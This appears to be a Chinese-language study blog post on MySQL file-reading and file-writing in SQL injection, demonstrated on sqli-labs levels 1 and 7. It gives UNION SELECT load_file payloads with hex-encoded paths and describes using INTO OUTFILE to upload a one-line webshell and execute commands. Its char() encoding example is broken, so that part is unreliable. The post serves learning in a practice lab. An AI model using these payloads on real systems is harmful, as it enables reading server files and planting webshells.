1. 程式人生 > 其它 >SQL注入中的讀些檔案函式以及讀些檔案條件

SQL注入中的讀些檔案函式以及讀些檔案條件

讀(匯出)檔案函式

函式名稱

load_file(file_name)

使用條件

  1. 使用者有許可權讀取 && 檔案是可讀的
  2. 讀取檔案在伺服器上(可以理解為檔名是存在的)
  3. 必須指定完整路徑(路徑要正確)
  4. 讀取檔案小於max_allowed_packet(該檔案不能超過sql檔案裡規定的檔案大小)

演示環節

已sqli_labs第1關為例

測試當前資料庫使用者是否有管理員許可權

  • 通過 and (select count(*) from mysql.user)>0--+

    頁面正常顯示則代表當前資料庫使用者是root許可權

讀(匯出)檔案

系統下的常用路徑:https://www.cnblogs.com/lcamry/p/5729087.html


本次環境安裝在phpstudy上,假設已知道mysql的安裝路徑為:D:\phpstudy_pro\Extensions\MySQL5.7.26

  • union select 1,loadfile(D:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini),3

    暫不清楚什麼原因,倒不出來

  • union select 1,load_file(0x443a2f70687073747564795f70726f2f457874656e73696f6e732f4d7953514c352e372e32362f6d792e696e69),3

檔名的格式

1.轉換為16進位制
0x443a2f70687073747564795f70726f2f457874656e73696f6e732f4d7953514c352e372e32362f6d792e696e69
2.路徑中的/用 \ \代替
load_file(D:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini)
不知為什麼沒起作用
3.用char函式將ascii轉換為字母
char(44,3a,2f,70,68,70,73,74,75,64,79,5f,70,72,6f,2f,45,78,74,65,6e,73,69,6f,6e,73,2f,4d,79,53,51,4c,35,2e,37,2e,32,36,2f,6d,79,2e,69,6e,69)


寫檔案函式

函式名稱

into_outfile
語句使用:select 命令 into outfile "路徑"

使用條件

  1. 路徑目錄必須有讀寫許可權
  2. 檔名必須唯一

演示環節

已sqli_labs第7關為例
關於測注入點輸入'(單引號)網頁報錯,說明有注入點;用' and 1=1--+,頁面報錯,嘗試閉合處的構造,使用')) and 1=1--+構造成功。

上傳一句話木馬


頁面提示錯誤,但是上傳檔案是能訪問到的!

執行命令